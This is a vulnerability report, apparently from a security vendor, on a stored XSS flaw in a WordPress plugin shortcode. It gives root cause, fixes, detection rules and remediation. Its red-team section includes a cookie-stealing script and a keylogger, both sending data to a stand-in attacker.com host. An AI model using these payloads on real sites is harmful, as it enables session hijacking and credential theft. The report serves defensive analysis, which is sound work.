CVE-2023-6745

Executive Summary

CVE-2023-6745 is a Stored Cross-Site Scripting (XSS) vulnerability in the Custom Field Template plugin for WordPress, affecting all versions up to and including 2.6.1. The flaw resides in the plugin's [cpt] shortcode, which fails to properly sanitize user-supplied post meta fields and escape output. This allows authenticated attackers with at least Contributor-level permissions to inject arbitrary web scripts. When a victim (including administrators) accesses a page containing the malicious shortcode, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

The vulnerability is classified as a WordPress ecosystem issue, not a server-level flaw. The CVSS score is 6.4 (Medium), with a low EPSS probability (0.0%) indicating limited active exploitation at the time of analysis. No public proof-of-concept (PoC) or exploit code has been released, and no official patch exists from the vendor.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or directly from the repository are at risk. No package manager (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network (AV:N) – The attacker can exploit the vulnerability remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: Low (PR:L) – Requires Contributor-level or higher WordPress account.
• User Interaction: None (UI:N) – No victim action needed beyond visiting the page.
• Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Limited modification of content possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for privilege escalation (e.g., stealing admin cookies) increases the risk.

Deep Dive & Mechanics

The vulnerability exists in the [cpt] shortcode handler of the Custom Field Template plugin. The shortcode is designed to display custom field values (post meta) on the front end. The plugin retrieves user-supplied meta values and outputs them without proper sanitization or escaping.

Root Cause:

• The plugin uses echo get_post_meta(...) or similar functions to output the meta value directly into the HTML context.
• No call to esc_html(), wp_kses_post(), or other sanitization functions is applied.
• The shortcode does not validate that the meta value is safe for output.

Attack Flow:

1. An attacker with Contributor-level access creates or edits a post.
2. The attacker adds a custom field (post meta) with a malicious payload, e.g., <script>alert('XSS')</script>.
3. The attacker inserts the [cpt] shortcode into the post content, referencing the malicious custom field.
4. When any user (including admins) views the post, the shortcode renders the payload, executing the script in the victim's browser.

Why It's Stored XSS: The malicious script is stored in the database as post meta and executed every time the page is loaded, affecting all visitors.

Vulnerable vs. Patched Code

Vulnerable Code (version 2.6.1 and earlier):

// In shortcode handler
function cpt_shortcode($atts) {
    extract(shortcode_atts(array('field' => ''), $atts));
    $meta_value = get_post_meta(get_the_ID(), $field, true);
    return $meta_value; // No escaping
}

Patched Code (hypothetical fix):

function cpt_shortcode($atts) {
    extract(shortcode_atts(array('field' => ''), $atts));
    $meta_value = get_post_meta(get_the_ID(), $field, true);
    return esc_html($meta_value); // Escaped output
}

The fix requires wrapping the output in esc_html() or using wp_kses_post() if HTML is allowed. Since no official patch exists, users must implement this manually or disable the plugin.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• WordPress site with Custom Field Template plugin <= 2.6.1.
• Contributor-level account or higher.

Steps:

1. Log in as a Contributor.
2. Create a new post or edit an existing one.
3. Add a custom field (e.g., my_xss_field) with the value:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Insert the shortcode [cpt field="my_xss_field"] into the post content.
5. Publish the post.
6. When an admin or other user views the post, the script executes, sending their cookies to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/log?key='+e.key);
});
</script>

Blue Team (Defender)

Detection:

• Monitor for posts containing the [cpt] shortcode with suspicious field names.
• Review custom field values for script tags or event handlers.
• Use WAF rules to block common XSS patterns in post meta.

Mitigation:

• Disable the Custom Field Template plugin until a patch is available.
• Implement a custom filter to sanitize shortcode output:

  add_shortcode('cpt', function($atts) {
      $field = $atts['field'] ?? '';
      $meta = get_post_meta(get_the_ID(), $field, true);
      return esc_html($meta);
  });
  

• Restrict Contributor-level users from adding custom fields via role management.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/custom-field-template/ (presence of the plugin)
• Post Meta: Custom field values containing <script>, <img onerror=, or other XSS vectors.
• Shortcode Usage: Posts containing [cpt field="..."] where the field name is unusual or not expected.
• Network Traffic: Outbound requests to attacker-controlled domains from the WordPress site (e.g., GET /steal?cookie=...).
• Logs: WordPress debug logs showing unexpected output in shortcode rendering.

Detection Engineering

YARA Rule

rule CVE_2023_6745_Stored_XSS {
    meta:
        description = "Detects malicious post meta values targeting CVE-2023-6745"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-6745"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<[^>]+on\w+\s*=\s*['"][^'"]*['"]/is
        $shortcode = "[cpt field="
    condition:
        $shortcode and ($xss1 or $xss2)
}

Sigma Rule

title: CVE-2023-6745 Stored XSS via Custom Field Template
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS attempts via the [cpt] shortcode in WordPress
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "/wp-content/plugins/custom-field-template/"
    keywords:
        - "[cpt field="
        - "<script>"
        - "onerror="
        - "onload="
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in custom fields (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-6745 Stored XSS via Custom Field Template"; flow:to_server,established; content:"[cpt field="; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete the Custom Field Template plugin from the WordPress admin dashboard.
2. Audit existing posts – Search for posts containing the [cpt] shortcode and review custom field values for malicious content.
3. Change all passwords – If any admin credentials may have been compromised, force password resets.

Long-Term Fix:

• Since no official patch exists, consider forking the plugin and applying the code fix described in the "Vulnerable vs. Patched Code" section.
• Alternatively, replace the plugin with a maintained alternative that handles custom field output securely.

Preventive Measures:

• Implement a Web Application Firewall (WAF) with rules to block XSS payloads in post meta.
• Enforce the principle of least privilege: restrict Contributor roles from adding arbitrary custom fields.
• Regularly update all WordPress plugins and core.

Valters IT Signature

Report generated by Valters IT DevSecOps Intelligence – CVE-2023-6745 Analysis